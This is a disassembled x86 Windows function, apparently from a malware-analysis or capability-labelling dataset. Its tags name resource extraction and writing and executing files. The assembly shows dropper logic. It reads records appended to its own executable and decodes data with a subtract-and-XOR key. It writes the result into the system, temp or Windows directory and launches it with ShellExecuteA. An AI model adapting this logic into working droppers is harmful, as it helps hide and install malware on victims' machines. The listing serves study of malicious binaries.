Function at 0x401090
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Get common file path
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x264
mov eax, dword [0x40a004]
xor eax, esp
mov dword [esp + 0x260], eax
push ebx
push esi
push edi
push 0x100
lea ecx, [esp + 0x16c]
push ecx
lea eax, [esp + 0x28]
push 0
mov dword [0x40b720], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
lea edx, [esp + 0x180]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 3
push 0x115c
mov edi, eax
push 0
mov dword [esp + 0x1c], edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x40132c
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40132c
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
mov dword [esp + 0x18], eax
je 0x40132c
push 0
push 0
push 0xe000
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [0x40b720]
push 0
lea eax, [esp + 0x10]
push eax
push 0x38
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x401313
cmp dword [esp + 0xc], 0
je 0x401313
mov edx, dword [0x40b720]
movzx eax, word [edx + 0x30]
cmp ax, 1
jne 0x401193
push 0x104
lea eax, [esp + 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jmp 0x4011bb
cmp ax, 2
jne 0x4011ab
lea ecx, [esp + 0x60]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
jmp 0x4011bb
push 0x104
lea edx, [esp + 0x64]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x40928c
lea eax, [esp + 0x64]
push eax
call esi
mov ecx, dword [0x40b720]
push ecx
lea edx, [esp + 0x64]
push edx
call esi
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [esp + 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x401345
mov ecx, dword [0x40b720]
mov edx, dword [ecx + 0x2c]
push edx
lea eax, [esp + 0x5c]
push 0x409290
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov esi, dword [0x40b720]
mov ecx, dword [esi + 0x28]
push ecx
call fcn.0040149e
mov edi, eax
add esp, 0x10
test edi, edi
je 0x401361
mov eax, dword [esi + 0x28]
mov ecx, dword [esp + 0x10]
push 0
lea edx, [esp + 0x10]
push edx
push eax
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [esp + 0xc]
test ecx, ecx
mov eax, edi
lea esi, [esp + 0x58]
jbe 0x40128a
mov dword [esp + 0x14], ecx
cmp byte [esi], 0
jne 0x40126b
lea esi, [esp + 0x58]
movzx edx, byte [esi]
sub byte [eax], dl
movzx edx, byte [esi]
mov cl, byte [eax]
xor dl, cl
mov byte [eax], dl
add esi, 1
add eax, 1
sub dword [esp + 0x14], 1
jne 0x401262
mov ecx, dword [esp + 0xc]
push 0
lea eax, [esp + 0x20]
push eax
push ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esp + 0x1c]
cmp ecx, dword [esp + 0xc]
jne 0x40137d
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.004013c1
mov eax, dword [0x40b720]
add esp, 4
cmp word [eax + 0x32], 0
je 0x4012f0
cmp word [eax + 0x34], 0
je 0x4012d8
push 0
push 0
push 0
lea edx, [esp + 0x6c]
push edx
jmp 0x4012e3
push 1
push 0
push 0
lea eax, [esp + 0x6c]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, dword [0x40b720]
mov eax, dword [esp + 0x10]
push 0
lea ecx, [esp + 0x10]
push ecx
push 0x38
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x401166
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x18]
cmp byte [eax], 1
jne 0x40132c
call fcn.00401000
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x260]
xor ecx, esp
call fcn.004013b2
mov esp, ebp
pop ebp
ret 0x10
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x260]
xor ecx, esp
call fcn.004013b2
mov esp, ebp
pop ebp
ret 0x10
mov eax, 2
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x260]
xor ecx, esp
call fcn.004013b2
mov esp, ebp
pop ebp
ret 0x10
push edi
call fcn.004013c1
mov ecx, dword [esp + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 4
push ecx
call esi
push ebx
call esi
mov ecx, dword [esp + 0x26c]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 3
call fcn.004013b2
mov esp, ebp
pop ebp
ret 0x10